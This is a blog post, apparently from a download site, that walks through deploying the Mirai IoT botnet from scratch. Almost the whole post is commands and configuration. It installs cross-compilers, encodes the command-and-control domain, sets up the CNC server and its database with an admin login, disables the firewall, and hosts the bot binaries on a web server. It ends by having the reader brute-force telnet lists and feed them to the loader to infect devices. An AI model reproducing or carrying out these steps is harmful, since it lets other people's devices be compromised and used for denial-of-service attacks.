Mirai setup Files

  Nessun commento

Mirai setup Files Download


~Requirements~
- 2 Debian 8 Offshore VPS/Dedi
- Mirai-Botnet Source Code

--Full tutorial from scratch

[01]- Installing Dependencies required for Mirai-Botnet
 apt-get update -y
 apt-get upgrade -y
 apt-get install gcc golang electric-fence sudo git -y
 apt-get install mysql-server mysql-client -y
 apt-get install nano make screen apache2 -y
 git clone https://github.com/jgamblin/Mirai-Source-Code

[01.1]- New version of Golang has been released and there isn't a library for it yet so thats why you will get error like this: "go/src/github.com/go-sql-driver/mysql/utils.go:806: undefined: atomic.Value" in later steps while building the "go get github.com/go-sql-driver/mysql". So the fix for it is below:

sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y
bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
gvm install go1.4
gvm use go1.4 [--default]
gvm install go1.4 -B
gvm use go1.4
export GOROOT_BOOTSTRAP=$GOROOT
gvm install go1.5
gvm use go1.5
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords

If you get error during this step "go get github.com/mattn/go-shellwords", then try upgrading go to version 1.6 it will fix it:

gvm install go1.6
gvm use go1.6

then run:
go get github.com/mattn/go-shellwords

This will fix the error and you can easily build the botnet next.

[02]- Installing and Compiling the Cross-Compilers

 mkdir /etc/xcompile
 cd /etc/xcompile

 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
 wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
 wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2

 tar -jxf cross-compiler-armv4l.tar.bz2
 tar -jxf cross-compiler-i586.tar.bz2
 tar -jxf cross-compiler-m68k.tar.bz2
 tar -jxf cross-compiler-mips.tar.bz2
 tar -jxf cross-compiler-mipsel.tar.bz2
 tar -jxf cross-compiler-powerpc.tar.bz2
 tar -jxf cross-compiler-sh4.tar.bz2
 tar -jxf cross-compiler-sparc.tar.bz2
 tar -jxf cross-compiler-armv6l.tar.bz2

 rm *.tar.bz2
 mv cross-compiler-armv4l armv4l
 mv cross-compiler-i586 i586
 mv cross-compiler-m68k m68k
 mv cross-compiler-mips mips
 mv cross-compiler-mipsel mipsel
 mv cross-compiler-powerpc powerpc
 mv cross-compiler-sh4 sh4
 mv cross-compiler-sparc sparc
 mv cross-compiler-armv6l armv6l

[03]- For adding GoLang Paths

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin

export PATH=$PATH:/usr/local/go/bin
export GOPATH=$HOME/Documents/go

[04]- Editing some changes in the Botnet-Source
--Type the following in your terminal:

cd Mirai-Source-Code/mirai/tools

--Build the enc.c

gcc enc.c -o enc

--Now string your domain and copy the string and the byte value which u will get with it

./enc string (yourdomain.com)
{it will show something like this:
XOR'ing 15 bytes of data...
\x5B\x4D\x57\x50\x46\x4D\x4F\x43\x4B\x4C\x0C\x41\x4D\x4F\x22  }

--Then type:

cd ../bot
nano table.c  ( only change the string in line 18 and 21 with the string value you got and also change the byte value in line 18 and 21 which you got and then save it)

cd ../cnc
nano main.go  ( type :3306 at end of 127.0.0.1 in line 10 like this: 127.0.0.1:3306 and change the "password" with your mysql password u typed when installing mysql-server and client in line 12. In line 19 change 0.0.0.0 to your Server-Ip-Address and in line 25 change 0.0.0.0 to your Server-Ip-Address and then save it)

[04]- Fixing the Errors
./build.sh debug telnet

--When you type this command you may get error of not installing the mysql-drivers, type the following commands:
 go get github.com/go-sql-driver/mysql
 go get github.com/mattn/go-shellwords

--Then type:
./build.sh release telnet   (you may get error to fix type the next commands)
mv prompt.txt release
./build.sh release telnet
cd release
mv mirai* /var/www/html
cd /var/www/html
rm -rf index.html
mkdir bins
mv mirai* bins
cd

[05]- Database Setup
--If you have iptbales/ip6tables or any firewall install disable it.

service iptables stop
/etc/ini.d/iptbales stop

--Database Setup
;Type the following command:
mysql -u root -p    (it will ask for password then type ur mysql password)

;Now you will have to type these to create database for mirai:
;Create the database first by typing:
CREATE DATABASE mirai;
;Select the database:
use mirai
;Copy and paste this into the terminal:

CREATE TABLE `history` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` int(10) unsigned NOT NULL,
  `time_sent` int(10) unsigned NOT NULL,
  `duration` int(10) unsigned NOT NULL,
  `command` text NOT NULL,
  `max_bots` int(11) DEFAULT '-1',
  PRIMARY KEY (`id`),
  KEY `user_id` (`user_id`)
);

CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  `duration_limit` int(10) unsigned DEFAULT NULL,
  `cooldown` int(10) unsigned NOT NULL,
  `wrc` int(10) unsigned DEFAULT NULL,
  `last_paid` int(10) unsigned NOT NULL,
  `max_bots` int(11) DEFAULT '-1',
  `admin` int(10) unsigned DEFAULT '0',
  `intvl` int(10) unsigned DEFAULT '30',
  `api_key` text,
  PRIMARY KEY (`id`),
  KEY `username` (`username`)
);

CREATE TABLE `whitelist` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `prefix` varchar(16) DEFAULT NULL,
  `netmask` tinyint(3) unsigned DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `prefix` (`prefix`)
);

;Now you need to add the user and password for your botnet login by the following command (remember to change "anna-senpai" with your username you want for ur botnet and "myawesomepassword" with your password you want for your botnet:

INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');

;Now your server is online type:
service mysql restart
;Once you restart the mysql server, go to your release folder /mirai/release you will seen a compiled file named cnc execute it. Type:
cd Mirai-Source-Code/mirai/release
./cnc
;You will see something like this: https://prnt.sc/dnsluv    (Creds to Jihadi for the screenshot) then you have to detach the server.
;Now you can login with your credentials through your ssh client with telnet.

[06]- Scanning Setup

;Now go to dlr by typing:
cd
cd Mirai-Source-Code/dlr
chmod 777 *
nano main.c  (change 127,0,0,1 in line 8 with your Server-Ip-Address remember to put comma instead of fullstop like this: 46,101,53,23)
./build.sh
cd release
mv dlr* ../../loader/bins

;Now go into loader
cd ../../loader/src
nano main.c  {change "0.0.0.0" in line 32 with your server-ip and also change "192.168.0.1" and "192.168.1.1" with your server ip in line 37 and 38. Change "100.200.100.100" and "100.200.100.100" in line 53 with your server ip, it looks something like this:    "if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "server-ip", 80, "server-ip")) == NULL)"    and save it.}

;Now type
cd ..
./build.sh
./build.debug.sh

;You are all setup for scanning u will get "loader" after doing ./build.sh now scan some telnet list, brute them and then load them to your botnet by following command:
cat list.txt | ./loader                   (list.txt = name of your telnet list)

Doublecodes.blogspot.it - Every single product provided in this blog is clean. For personal safety, test these products in VM



PASSWORD:  doublecodes.blogspot.it



Doublecodes.blogspot.it - Every single product provided in this blog is clean. For personal safety, test these products in VM


Nessun commento :

Posta un commento